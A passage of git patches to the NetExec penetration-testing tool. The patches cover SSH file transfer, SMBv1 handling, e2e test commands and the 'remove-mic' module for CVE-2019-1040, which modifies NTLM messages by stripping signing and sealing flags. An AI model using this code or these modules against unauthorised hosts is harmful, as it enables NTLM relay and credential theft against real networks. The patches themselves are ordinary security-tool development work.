av_pairs[ntlm.NTLMSSP_AV_HOSTNAME][1] + if av_pairs[ntlm.NTLMSSP_AV_TIME] is not None: + aTime = av_pairs[ntlm.NTLMSSP_AV_TIME][1] + else: + aTime = struct.pack(' 0: + av_pairs[ntlm.NTLMSSP_AV_CHANNEL_BINDINGS] = channel_binding_value + + # Format according to: + # https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nlmp/aee311d6-21a7-4470-92a5-c4ecb022a87b + temp = responseServerVersion # RespType 1 byte + temp += hiResponseServerVersion # HiRespType 1 byte + temp += b'\x00' * 2 # Reserved1 2 bytes + temp += b'\x00' * 4 # Reserved2 4 bytes + temp += aTime # TimeStamp 8 bytes + temp += clientChallenge # ChallengeFromClient 8 bytes + temp += b'\x00' * 4 # Reserved 4 bytes + temp += av_pairs.getData() # AvPairs variable + + ntProofStr = ntlm.hmac_md5(responseKeyNT, serverChallenge + temp) + + ntChallengeResponse = ntProofStr + temp + lmChallengeResponse = ntlm.hmac_md5(responseKeyNT, serverChallenge + clientChallenge) + clientChallenge + sessionBaseKey = ntlm.hmac_md5(responseKeyNT, ntProofStr) + + if user == '' and password == '': + # Special case for anonymous authentication + ntChallengeResponse = '' + lmChallengeResponse = '' + + return ntChallengeResponse, lmChallengeResponse, sessionBaseKey + + def mod_getNTLMSSPType3(type1, type2, user, password, domain, lmhash = '', nthash = '', use_ntlmv2 = ntlm.USE_NTLMv2, channel_binding_value = b''): + # Safety check in case somebody sent password = None.. That's not allowed. Setting it to '' and hope for the best. + if password is None: + password = '' + + # Let's do some encoding checks before moving on. Kind of dirty, but found effective when dealing with + # international characters. + import sys + encoding = sys.getfilesystemencoding() + if encoding is not None: + try: + user.encode('utf-16le') + except: + user = user.decode(encoding) + try: + password.encode('utf-16le') + except: + password = password.decode(encoding) + try: + domain.encode('utf-16le') + except: + domain = user.decode(encoding) + + ntlmChallenge = ntlm.NTLMAuthChallenge(type2) + + # Let's start with the original flags sent in the type1 message + responseFlags = type1['flags'] + + # Token received and parsed. Depending on the authentication + # method we will create a valid ChallengeResponse + ntlmChallengeResponse = ntlm.NTLMAuthChallengeResponse(user, password, ntlmChallenge['challenge']) + + clientChallenge = ntlm.b("".join([random.choice(string.digits+string.ascii_letters) for _ in range(8)])) + + serverName = ntlmChallenge['TargetInfoFields'] + + ntResponse, lmResponse, sessionBaseKey = ntlm.computeResponse(ntlmChallenge['flags'], ntlmChallenge['challenge'], + clientChallenge, serverName, domain, user, password, + lmhash, nthash, use_ntlmv2, channel_binding_value= channel_binding_value) + + # Let's check the return flags + if (ntlmChallenge['flags'] & ntlm.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY) == 0: + # No extended session security, taking it out + responseFlags &= 0xffffffff ^ ntlm.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY + if (ntlmChallenge['flags'] & ntlm.NTLMSSP_NEGOTIATE_128 ) == 0: + # No support for 128 key len, taking it out + responseFlags &= 0xffffffff ^ ntlm.NTLMSSP_NEGOTIATE_128 + if (ntlmChallenge['flags'] & ntlm.NTLMSSP_NEGOTIATE_KEY_EXCH) == 0: + # No key exchange supported, taking it out + responseFlags &= 0xffffffff ^ ntlm.NTLMSSP_NEGOTIATE_KEY_EXCH + + # drop the mic need to unset these flags + # https://github.com/fortra/impacket/blob/master/impacket/examples/ntlmrelayx/clients/ldaprelayclient.py#L72 + if ntlmChallenge['flags'] & ntlm.NTLMSSP_NEGOTIATE_SEAL == ntlm.NTLMSSP_NEGOTIATE_SEAL: + responseFlags ^= ntlm.NTLMSSP_NEGOTIATE_SEAL + if ntlmChallenge['flags'] & ntlm.NTLMSSP_NEGOTIATE_SIGN == ntlm.NTLMSSP_NEGOTIATE_SIGN: + responseFlags ^= ntlm.NTLMSSP_NEGOTIATE_SIGN + if ntlmChallenge['flags'] & ntlm.NTLMSSP_NEGOTIATE_ALWAYS_SIGN == ntlm.NTLMSSP_NEGOTIATE_ALWAYS_SIGN: + responseFlags ^= ntlm.NTLMSSP_NEGOTIATE_ALWAYS_SIGN + + + keyExchangeKey = ntlm.KXKEY(ntlmChallenge['flags'], sessionBaseKey, lmResponse, ntlmChallenge['challenge'], password, + lmhash, nthash, use_ntlmv2) + + # Special case for anonymous login + if user == '' and password == '' and lmhash == '' and nthash == '': + keyExchangeKey = b'\x00'*16 + + + if ntlmChallenge['flags'] & ntlm.NTLMSSP_NEGOTIATE_KEY_EXCH: + exportedSessionKey = ntlm.b("".join([random.choice(string.digits+string.ascii_letters) for _ in range(16)])) + encryptedRandomSessionKey = ntlm.generateEncryptedSessionKey(keyExchangeKey, exportedSessionKey) + else: + encryptedRandomSessionKey = None + exportedSessionKey = keyExchangeKey + + ntlmChallengeResponse['flags'] = responseFlags + ntlmChallengeResponse['domain_name'] = domain.encode('utf-16le') + ntlmChallengeResponse['host_name'] = type1.getWorkstation().encode('utf-16le') + if lmResponse == '': + ntlmChallengeResponse['lanman'] = b'\x00' + else: + ntlmChallengeResponse['lanman'] = lmResponse + ntlmChallengeResponse['ntlm'] = ntResponse + if encryptedRandomSessionKey is not None: + ntlmChallengeResponse['session_key'] = encryptedRandomSessionKey + + return ntlmChallengeResponse, exportedSessionKey \ No newline at end of file From dc39e0e6a9985f8a4ae4a340586f5170d9ac7720 Mon Sep 17 00:00:00 2001 From: jdholtz Date: Fri, 27 Dec 2024 01:33:50 -0600 Subject: [PATCH 144/376] ssh: allow for putting and getting files --- nxc/protocols/ssh.py | 31 +++++++++++++++++++++++++++++++ nxc/protocols/ssh/proto_args.py | 4 ++++ tests/e2e_commands.txt | 2 ++ 3 files changed, 37 insertions(+) diff --git a/nxc/protocols/ssh.py b/nxc/protocols/ssh.py index ce0d965c..7c4716a7 100644 --- a/nxc/protocols/ssh.py +++ b/nxc/protocols/ssh.py @@ -1,4 +1,5 @@ import paramiko +import os import re import uuid import logging @@ -280,6 +281,36 @@ class ssh(connection): return True + def put_file_single(self, sftp_conn, src, dst): + self.logger.display(f'Copying "{src}" to "{dst}"') + try: + sftp_conn.put(src, dst) + self.logger.success(f'Created file "{src}" on "{dst}"') + except Exception as e: + self.logger.fail(f'Error writing file to "{dst}": {e}') + + def put_file(self): + sftp_conn = self.conn.open_sftp() + for src, dest in self.args.put_file: + self.put_file_single(sftp_conn, src, dest) + sftp_conn.close() + + def get_file_single(self, sftp_conn, remote_path, download_path): + self.logger.display(f'Copying "{remote_path}" to "{download_path}"') + try: + sftp_conn.get(remote_path, download_path) + self.logger.success(f'File "{remote_path}" was downloaded to "{download_path}"') + except Exception as e: + self.logger.fail(f'Error getting file "{remote_path}": {e}') + if os.path.getsize(download_path) == 0: + os.remove(download_path) + + def get_file(self): + sftp_conn = self.conn.open_sftp() + for src, dest in self.args.get_file: + self.get_file_single(sftp_conn, src, dest) + sftp_conn.close() + def execute(self, payload=None, get_output=False): if not payload and self.args.execute: payload = self.args.execute diff --git a/nxc/protocols/ssh/proto_args.py b/nxc/protocols/ssh/proto_args.py index f85ccbe4..8f82b787 100644 --- a/nxc/protocols/ssh/proto_args.py +++ b/nxc/protocols/ssh/proto_args.py @@ -12,6 +12,10 @@ def proto_args(parser, parents): ssh_parser.add_argument("--get-output-tries", type=int, default=5, help="Number of times with sudo command tries to get results") sudo_check_method_arg.make_required.append(sudo_check_arg) + files_group = ssh_parser.add_argument_group("Files", "Options for remote file interaction") + files_group.add_argument("--put-file", action="append", nargs=2, metavar="FILE", help="Put a local file into remote target, ex: whoami.txt /tmp/whoami.txt") + files_group.add_argument("--get-file", action="append", nargs=2, metavar="FILE", help="Get a remote file, ex: /tmp/whoami.txt whoami.txt") + cgroup = ssh_parser.add_argument_group("Command Execution", "Options for executing commands") cgroup.add_argument("--codec", default="utf-8", help="Set encoding used (codec) from the target's output. If errors are detected, run chcp.com at the target, map the result with https://docs.python.org/3/library/codecs.html#standard-encodings and then execute again with --codec and the corresponding codec") cgroup.add_argument("--no-output", action="store_true", help="do not retrieve command output") diff --git a/tests/e2e_commands.txt b/tests/e2e_commands.txt index aadf55c7..d806041f 100644 --- a/tests/e2e_commands.txt +++ b/tests/e2e_commands.txt @@ -256,6 +256,8 @@ netexec ssh TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD --sudo-check --sudo- netexec ssh TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD --sudo-check --sudo-check-method sudo-stdin --get-output-tries 10 netexec ssh TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD --sudo-check --sudo-check-method mkfifo netexec ssh TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD --sudo-check --sudo-check-method mkfifo --get-output-tries 10 +netexec ssh TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD --put-file TEST_NORMAL_FILE /tmp/test_file.txt --put-file TEST_NORMAL_FILE /tmp/test_file2.txt +netexec ssh TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD --get-file /tmp/test_file.txt /tmp/test_file.txt --get-file /tmp/test_file.txt /tmp/test_file2.txt ##### FTP- Default test passwords and random key; switch these out if you want correct authentication netexec ftp TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD netexec ftp TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD --ls From d33f1640b7496e802204821d1dff6d15cb9b114a Mon Sep 17 00:00:00 2001 From: XiaoliChan <30458572+XiaoliChan@users.noreply.github.com> Date: Sat, 28 Dec 2024 02:10:50 +0800 Subject: [PATCH 145/376] [SMB] better control of smbv1 Signed-off-by: XiaoliChan <30458572+XiaoliChan@users.noreply.github.com> --- nxc/protocols/smb.py | 24 ++++++++++++++---------- nxc/protocols/smb/proto_args.py | 2 +- 2 files changed, 15 insertions(+), 11 deletions(-) diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index 01c039e9..b52c68aa 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -549,7 +549,6 @@ class smb(connection): preferredDialect=SMB_DIALECT, timeout=self.args.smb_timeout, ) - self.smbv1 = True except OSError as e: if "Connection reset by peer" in str(e): self.logger.info(f"SMBv1 might be disabled on {self.host}") @@ -577,20 +576,20 @@ class smb(connection): self.port, timeout=self.args.smb_timeout, ) - self.smbv1 = False except (Exception, NetBIOSTimeout, OSError) as e: self.logger.info(f"Error creating SMBv3 connection to {self.host}: {e}") return False return True - def create_conn_obj(self): + def create_conn_obj(self, no_smbv1=False): """ Tries to create a connection object to the target host. On first try, it will try to create a SMBv1 connection. On further tries, it will remember which SMB version is supported and create a connection object accordingly. + + :param no_smbv1: If True, it will not try to create a SMBv1 connection """ - if self.args.force_smbv2: - return self.create_smbv3_conn() + no_smbv1 = self.args.no_smbv1 if self.args.no_smbv1 else no_smbv1 # Initial negotiation if self.smbv1 is None: @@ -599,7 +598,7 @@ class smb(connection): return True elif not self.is_timeouted: return self.create_smbv3_conn() - elif self.smbv1: + elif not no_smbv1 and self.smbv1: return self.create_smbv1_conn() else: return self.create_smbv3_conn() @@ -841,6 +840,7 @@ class smb(connection): temp_dir = ntpath.normpath("\\" + gen_random_string()) temp_file = ntpath.normpath("\\" + gen_random_string() + ".txt") permissions = [] + write_check = True if not self.args.no_write_check else False try: self.logger.debug(f"domain: {self.domain}") @@ -880,17 +880,21 @@ class smb(connection): write = False write_dir = False write_file = False - pwd = ntpath.join("\\", "*") - pwd = ntpath.normpath(pwd) try: - self.conn.listPath(share_name, pwd) + self.conn.listPath(share_name, "*") read = True share_info["access"].append("READ") except SessionError as e: error = get_error_string(e) self.logger.debug(f"Error checking READ access on share {share_name}: {error}") + except (NetBIOSError, UnicodeEncodeError) as e: + write_check = False + share_info["access"].append("UNKNOWN (try '--no-smbv1')") + error = get_error_string(e) + self.logger.debug(f"Error checking READ access on share {share_name}: {error}. This exception always caused by special character in share name with SMBv1") + self.logger.info(f"Skipping WRITE permission check on share {share_name}") - if not self.args.no_write_check: + if write_check: try: self.conn.createDirectory(share_name, temp_dir) write_dir = True diff --git a/nxc/protocols/smb/proto_args.py b/nxc/protocols/smb/proto_args.py index 9f5ef419..52078a30 100644 --- a/nxc/protocols/smb/proto_args.py +++ b/nxc/protocols/smb/proto_args.py @@ -16,7 +16,7 @@ def proto_args(parser, parents): smb_parser.add_argument("--port", type=int, default=445, help="SMB port") smb_parser.add_argument("--share", metavar="SHARE", default="C$", help="specify a share") smb_parser.add_argument("--smb-server-port", default="445", help="specify a server port for SMB", type=int) - smb_parser.add_argument("--force-smbv2", action="store_true", help="Force to use SMBv2 in connection") + smb_parser.add_argument("--no-smbv1", action="store_true", help="Force to disable SMBv1 in connection") smb_parser.add_argument("--gen-relay-list", metavar="OUTPUT_FILE", help="outputs all hosts that don't require SMB signing to the specified file") smb_parser.add_argument("--smb-timeout", help="SMB connection timeout", type=int, default=2) smb_parser.add_argument("--laps", dest="laps", metavar="LAPS", type=str, help="LAPS authentification", nargs="?", const="administrator") From b79ddec91f9f712841049c1c7453322d2c1682c3 Mon Sep 17 00:00:00 2001 From: XiaoliChan <30458572+XiaoliChan@users.noreply.github.com> Date: Sun, 29 Dec 2024 01:43:12 +0800 Subject: [PATCH 146/376] [SMB] add e2e for '--no-smbv1' Signed-off-by: XiaoliChan <30458572+XiaoliChan@users.noreply.github.com> --- tests/e2e_commands.txt | 1 + 1 file changed, 1 insertion(+) diff --git a/tests/e2e_commands.txt b/tests/e2e_commands.txt index aadf55c7..49106928 100644 --- a/tests/e2e_commands.txt +++ b/tests/e2e_commands.txt @@ -5,6 +5,7 @@ netexec smb TARGET_HOST --generate-hosts-file /tmp/hostsfile netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS # need an extra space after this command due to regex netexec {DNS} smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --shares +netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --shares --no-smbv1 netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --shares --filter-shares READ WRITE netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --pass-pol netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --disks From ce963a0fa77693d74ef6811bb090afe4338bf964 Mon Sep 17 00:00:00 2001 From: XiaoliChan <30458572+XiaoliChan@users.noreply.github.com> Date: Sun, 29 Dec 2024 14:59:53 +0800 Subject: [PATCH 147/376] [Remove-Mic] mutiple hosts set 2 False Signed-off-by: XiaoliChan <30458572+XiaoliChan@users.noreply.github.com> --- nxc/modules/remove-mic.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/modules/remove-mic.py b/nxc/modules/remove-mic.py index a41d6bbb..7662645f 100644 --- a/nxc/modules/remove-mic.py +++ b/nxc/modules/remove-mic.py @@ -26,7 +26,7 @@ class NXCModule: description = "Check if host vulnerable to CVE-2019-1040" supported_protocols = ["smb"] opsec_safe = True - multiple_hosts = True + multiple_hosts = False def __init__(self, context=None, module_options=None): self.context = context From 8ad48fb75754f8b0982c4ec7c703458162061878 Mon Sep 17 00:00:00 2001 From: XiaoliChan <30458572+XiaoliChan@users.noreply.github.com> Date: Sun, 29 Dec 2024 15:07:17 +0800 Subject: [PATCH 148/376] [Remove-Mic] Ruff Signed-off-by: XiaoliChan <30458572+XiaoliChan@users.noreply.github.com> --- nxc/modules/remove-mic.py | 104 +++++++++++++++++++------------------- 1 file changed, 52 insertions(+), 52 deletions(-) diff --git a/nxc/modules/remove-mic.py b/nxc/modules/remove-mic.py index 7662645f..40e43c97 100644 --- a/nxc/modules/remove-mic.py +++ b/nxc/modules/remove-mic.py @@ -54,11 +54,11 @@ class NXCModule: class Modify_Func: # Slightly modified version of impackets computeResponseNTLMv2 - def mod_computeResponseNTLMv2(flags, serverChallenge, clientChallenge, serverName, domain, user, password, lmhash='', nthash='', - use_ntlmv2=ntlm.USE_NTLMv2, channel_binding_value=b''): + def mod_computeResponseNTLMv2(flags, serverChallenge, clientChallenge, serverName, domain, user, password, lmhash="", nthash="", + use_ntlmv2=ntlm.USE_NTLMv2, channel_binding_value=b""): - responseServerVersion = b'\x01' - hiResponseServerVersion = b'\x01' + responseServerVersion = b"\x01" + hiResponseServerVersion = b"\x01" responseKeyNT = ntlm.NTOWFv2(user, password, domain, nthash) av_pairs = ntlm.AV_PAIRS(serverName) @@ -66,13 +66,13 @@ class Modify_Func: # get access denied # This is set at Local Security Policy -> Local Policies -> Security Options -> Server SPN target name validation # level - av_pairs[ntlm.NTLMSSP_AV_TARGET_NAME] = 'cifs/'.encode('utf-16le') + av_pairs[ntlm.NTLMSSP_AV_HOSTNAME][1] + av_pairs[ntlm.NTLMSSP_AV_TARGET_NAME] = "cifs/".encode("utf-16le") + av_pairs[ntlm.NTLMSSP_AV_HOSTNAME][1] if av_pairs[ntlm.NTLMSSP_AV_TIME] is not None: aTime = av_pairs[ntlm.NTLMSSP_AV_TIME][1] else: - aTime = struct.pack(' 0: @@ -80,14 +80,14 @@ class Modify_Func: # Format according to: # https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nlmp/aee311d6-21a7-4470-92a5-c4ecb022a87b - temp = responseServerVersion # RespType 1 byte - temp += hiResponseServerVersion # HiRespType 1 byte - temp += b'\x00' * 2 # Reserved1 2 bytes - temp += b'\x00' * 4 # Reserved2 4 bytes - temp += aTime # TimeStamp 8 bytes - temp += clientChallenge # ChallengeFromClient 8 bytes - temp += b'\x00' * 4 # Reserved 4 bytes - temp += av_pairs.getData() # AvPairs variable + temp = responseServerVersion # RespType 1 byte + temp += hiResponseServerVersion # HiRespType 1 byte + temp += b"\x00" * 2 # Reserved1 2 bytes + temp += b"\x00" * 4 # Reserved2 4 bytes + temp += aTime # TimeStamp 8 bytes + temp += clientChallenge # ChallengeFromClient 8 bytes + temp += b"\x00" * 4 # Reserved 4 bytes + temp += av_pairs.getData() # AvPairs variable ntProofStr = ntlm.hmac_md5(responseKeyNT, serverChallenge + temp) @@ -95,17 +95,17 @@ class Modify_Func: lmChallengeResponse = ntlm.hmac_md5(responseKeyNT, serverChallenge + clientChallenge) + clientChallenge sessionBaseKey = ntlm.hmac_md5(responseKeyNT, ntProofStr) - if user == '' and password == '': + if user == "" and password == "": # Special case for anonymous authentication - ntChallengeResponse = '' - lmChallengeResponse = '' + ntChallengeResponse = "" + lmChallengeResponse = "" return ntChallengeResponse, lmChallengeResponse, sessionBaseKey - def mod_getNTLMSSPType3(type1, type2, user, password, domain, lmhash = '', nthash = '', use_ntlmv2 = ntlm.USE_NTLMv2, channel_binding_value = b''): + def mod_getNTLMSSPType3(type1, type2, user, password, domain, lmhash="", nthash="", use_ntlmv2=ntlm.USE_NTLMv2, channel_binding_value=b""): # Safety check in case somebody sent password = None.. That's not allowed. Setting it to '' and hope for the best. if password is None: - password = '' + password = "" # Let's do some encoding checks before moving on. Kind of dirty, but found effective when dealing with # international characters. @@ -113,80 +113,80 @@ class Modify_Func: encoding = sys.getfilesystemencoding() if encoding is not None: try: - user.encode('utf-16le') - except: + user.encode("utf-16le") + except Exception: user = user.decode(encoding) try: - password.encode('utf-16le') - except: + password.encode("utf-16le") + except Exception: password = password.decode(encoding) try: - domain.encode('utf-16le') - except: + domain.encode("utf-16le") + except Exception: domain = user.decode(encoding) ntlmChallenge = ntlm.NTLMAuthChallenge(type2) # Let's start with the original flags sent in the type1 message - responseFlags = type1['flags'] + responseFlags = type1["flags"] # Token received and parsed. Depending on the authentication # method we will create a valid ChallengeResponse - ntlmChallengeResponse = ntlm.NTLMAuthChallengeResponse(user, password, ntlmChallenge['challenge']) + ntlmChallengeResponse = ntlm.NTLMAuthChallengeResponse(user, password, ntlmChallenge["challenge"]) - clientChallenge = ntlm.b("".join([random.choice(string.digits+string.ascii_letters) for _ in range(8)])) + clientChallenge = ntlm.b("".join([random.choice(string.digits + string.ascii_letters) for _ in range(8)])) - serverName = ntlmChallenge['TargetInfoFields'] + serverName = ntlmChallenge["TargetInfoFields"] - ntResponse, lmResponse, sessionBaseKey = ntlm.computeResponse(ntlmChallenge['flags'], ntlmChallenge['challenge'], + ntResponse, lmResponse, sessionBaseKey = ntlm.computeResponse(ntlmChallenge["flags"], ntlmChallenge["challenge"], clientChallenge, serverName, domain, user, password, - lmhash, nthash, use_ntlmv2, channel_binding_value= channel_binding_value) + lmhash, nthash, use_ntlmv2, channel_binding_value=channel_binding_value) # Let's check the return flags - if (ntlmChallenge['flags'] & ntlm.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY) == 0: + if (ntlmChallenge["flags"] & ntlm.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY) == 0: # No extended session security, taking it out responseFlags &= 0xffffffff ^ ntlm.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY - if (ntlmChallenge['flags'] & ntlm.NTLMSSP_NEGOTIATE_128 ) == 0: + if (ntlmChallenge["flags"] & ntlm.NTLMSSP_NEGOTIATE_128) == 0: # No support for 128 key len, taking it out responseFlags &= 0xffffffff ^ ntlm.NTLMSSP_NEGOTIATE_128 - if (ntlmChallenge['flags'] & ntlm.NTLMSSP_NEGOTIATE_KEY_EXCH) == 0: + if (ntlmChallenge["flags"] & ntlm.NTLMSSP_NEGOTIATE_KEY_EXCH) == 0: # No key exchange supported, taking it out responseFlags &= 0xffffffff ^ ntlm.NTLMSSP_NEGOTIATE_KEY_EXCH # drop the mic need to unset these flags # https://github.com/fortra/impacket/blob/master/impacket/examples/ntlmrelayx/clients/ldaprelayclient.py#L72 - if ntlmChallenge['flags'] & ntlm.NTLMSSP_NEGOTIATE_SEAL == ntlm.NTLMSSP_NEGOTIATE_SEAL: + if ntlmChallenge["flags"] & ntlm.NTLMSSP_NEGOTIATE_SEAL == ntlm.NTLMSSP_NEGOTIATE_SEAL: responseFlags ^= ntlm.NTLMSSP_NEGOTIATE_SEAL - if ntlmChallenge['flags'] & ntlm.NTLMSSP_NEGOTIATE_SIGN == ntlm.NTLMSSP_NEGOTIATE_SIGN: + if ntlmChallenge["flags"] & ntlm.NTLMSSP_NEGOTIATE_SIGN == ntlm.NTLMSSP_NEGOTIATE_SIGN: responseFlags ^= ntlm.NTLMSSP_NEGOTIATE_SIGN - if ntlmChallenge['flags'] & ntlm.NTLMSSP_NEGOTIATE_ALWAYS_SIGN == ntlm.NTLMSSP_NEGOTIATE_ALWAYS_SIGN: + if ntlmChallenge["flags"] & ntlm.NTLMSSP_NEGOTIATE_ALWAYS_SIGN == ntlm.NTLMSSP_NEGOTIATE_ALWAYS_SIGN: responseFlags ^= ntlm.NTLMSSP_NEGOTIATE_ALWAYS_SIGN - keyExchangeKey = ntlm.KXKEY(ntlmChallenge['flags'], sessionBaseKey, lmResponse, ntlmChallenge['challenge'], password, + keyExchangeKey = ntlm.KXKEY(ntlmChallenge["flags"], sessionBaseKey, lmResponse, ntlmChallenge["challenge"], password, lmhash, nthash, use_ntlmv2) # Special case for anonymous login - if user == '' and password == '' and lmhash == '' and nthash == '': - keyExchangeKey = b'\x00'*16 + if user == "" and password == "" and lmhash == "" and nthash == "": + keyExchangeKey = b"\x00" * 16 - if ntlmChallenge['flags'] & ntlm.NTLMSSP_NEGOTIATE_KEY_EXCH: - exportedSessionKey = ntlm.b("".join([random.choice(string.digits+string.ascii_letters) for _ in range(16)])) + if ntlmChallenge["flags"] & ntlm.NTLMSSP_NEGOTIATE_KEY_EXCH: + exportedSessionKey = ntlm.b("".join([random.choice(string.digits + string.ascii_letters) for _ in range(16)])) encryptedRandomSessionKey = ntlm.generateEncryptedSessionKey(keyExchangeKey, exportedSessionKey) else: encryptedRandomSessionKey = None - exportedSessionKey = keyExchangeKey + exportedSessionKey = keyExchangeKey - ntlmChallengeResponse['flags'] = responseFlags - ntlmChallengeResponse['domain_name'] = domain.encode('utf-16le') - ntlmChallengeResponse['host_name'] = type1.getWorkstation().encode('utf-16le') - if lmResponse == '': - ntlmChallengeResponse['lanman'] = b'\x00' + ntlmChallengeResponse["flags"] = responseFlags + ntlmChallengeResponse["domain_name"] = domain.encode("utf-16le") + ntlmChallengeResponse["host_name"] = type1.getWorkstation().encode("utf-16le") + if lmResponse == "": + ntlmChallengeResponse["lanman"] = b"\x00" else: - ntlmChallengeResponse['lanman'] = lmResponse - ntlmChallengeResponse['ntlm'] = ntResponse + ntlmChallengeResponse["lanman"] = lmResponse + ntlmChallengeResponse["ntlm"] = ntResponse if encryptedRandomSessionKey is not None: - ntlmChallengeResponse['session_key'] = encryptedRandomSessionKey + ntlmChallengeResponse["session_key"] = encryptedRandomSessionKey return ntlmChallengeResponse, exportedSessionKey \ No newline at end of file From 964be24cfa44a9bae23d738f9d5e85ea549b31ab Mon Sep 17 00:00:00 2001 From: XiaoliChan <30458572+XiaoliChan@users.noreply.github.com> Date: Sun, 29 Dec 2024 15:09:06 +0800 Subject: [PATCH 149/376] [Remove-Mic] Add e2e command Signed-off-by: XiaoliChan <30458572+XiaoliChan@users.noreply.github.com> --- tests/e2e_commands.txt | 1 + 1 file changed, 1 insertion(+) diff --git a/tests/e2e_commands.txt b/tests/e2e_commands.txt index aadf55c7..bb227da0 100644 --- a/tests/e2e_commands.txt +++ b/tests/e2e_commands.txt @@ -84,6 +84,7 @@ netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M iis netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M install_elevated netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M ioxidresolver netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M security-questions +netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M remove-mic # currently hanging indefinitely - TODO: look into this #netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M keepass_discover #netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M keepass_trigger -o ACTION=ALL USER=LOGIN_USERNAME KEEPASS_CONFIG_PATH="C:\\Users\\LOGIN_USERNAME\\AppData\\Roaming\\KeePass\\KeePass.config.xml" From 281feb3809f07ffb5f8cec810e83cc06f92cbf87 Mon Sep 17 00:00:00 2001 From: XiaoliChan <30458572+XiaoliChan@users.noreply.github.com> Date: Sun, 29 Dec 2024 18:29:05 +0800 Subject: [PATCH 150/376] [SMB] @mpgn review Signed-off-by: XiaoliChan <30458572+XiaoliChan@users.noreply.github.com> --- nxc/protocols/smb.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index b52c68aa..e9cd70f2 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -592,7 +592,7 @@ class smb(connection): no_smbv1 = self.args.no_smbv1 if self.args.no_smbv1 else no_smbv1 # Initial negotiation - if self.smbv1 is None: + if not no_smbv1 and self.smbv1 is None: self.smbv1 = self.create_smbv1_conn() if self.smbv1: return True From 14c450676709f9526d68dd4e232aae1421e57289 Mon Sep 17 00:00:00 2001 From: lapinou Date: Mon, 30 Dec 2024 19:10:35 +0100 Subject: [PATCH 151/376] Update user-desc.py Signed-off-by: lapinou --- nxc/modules/user-desc.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/modules/user-desc.py b/nxc/modules/user-desc.py index 866b8959..47d6e574 100644 --- a/nxc/modules/user-desc.py +++ b/nxc/modules/user-desc.py @@ -71,7 +71,7 @@ class NXCModule: Users can specify additional LDAP filters that are applied to the query. """ self.context = context - self.create_log_file(connection.conn.getRemoteHost(), datetime.now().strftime("%Y%m%d_%H%M%S")) + self.create_log_file(connection.target, datetime.now().strftime("%Y%m%d_%H%M%S")) context.log.info(f"Starting LDAP search with search filter '{self.search_filter}'") try: From 7a98330156945eb2d5502639528e9fbc1bf1f02b Mon Sep 17 00:00:00 2001 From: lapinou Date: Mon, 30 Dec 2024 19:18:44 +0100 Subject: [PATCH 152/376] Update database.py Signed-off-by: lapinou --- nxc/protocols/ldap/database.py | 130 +++++++++++++++++++++++++++++++-- 1 file changed, 123 insertions(+), 7 deletions(-) diff --git a/nxc/protocols/ldap/database.py b/nxc/protocols/ldap/database.py index 2f08e956..c222048e 100644 --- a/nxc/protocols/ldap/database.py +++ b/nxc/protocols/ldap/database.py @@ -1,17 +1,18 @@ import sys -from sqlalchemy import Table +from sqlalchemy import func, Table, select +from sqlalchemy.dialects.sqlite import Insert # used for upsert from sqlalchemy.exc import ( NoInspectionAvailable, NoSuchTableError, ) from nxc.database import BaseDB - +from nxc.logger import nxc_logger class database(BaseDB): def __init__(self, db_engine): - self.CredentialsTable = None + self.UsersTable = None self.HostsTable = None super().__init__(db_engine) @@ -19,10 +20,14 @@ class database(BaseDB): @staticmethod def db_schema(db_conn): db_conn.execute( - """CREATE TABLE "credentials" ( + """CREATE TABLE "users" ( "id" integer PRIMARY KEY, + "domain" text, "username" text, - "password" text + "password" text, + "credtype" text, + "pillaged_from_hostid" integer, + FOREIGN KEY(pillaged_from_hostid) REFERENCES hosts(id) )""" ) @@ -31,14 +36,15 @@ class database(BaseDB): "id" integer PRIMARY KEY, "ip" text, "hostname" text, - "port" integer + "domain" text, + "os" text )""" ) def reflect_tables(self): with self.db_engine.connect(): try: - self.CredentialsTable = Table("credentials", self.metadata, autoload_with=self.db_engine) + self.UsersTable = Table("users", self.metadata, autoload_with=self.db_engine) self.HostsTable = Table("hosts", 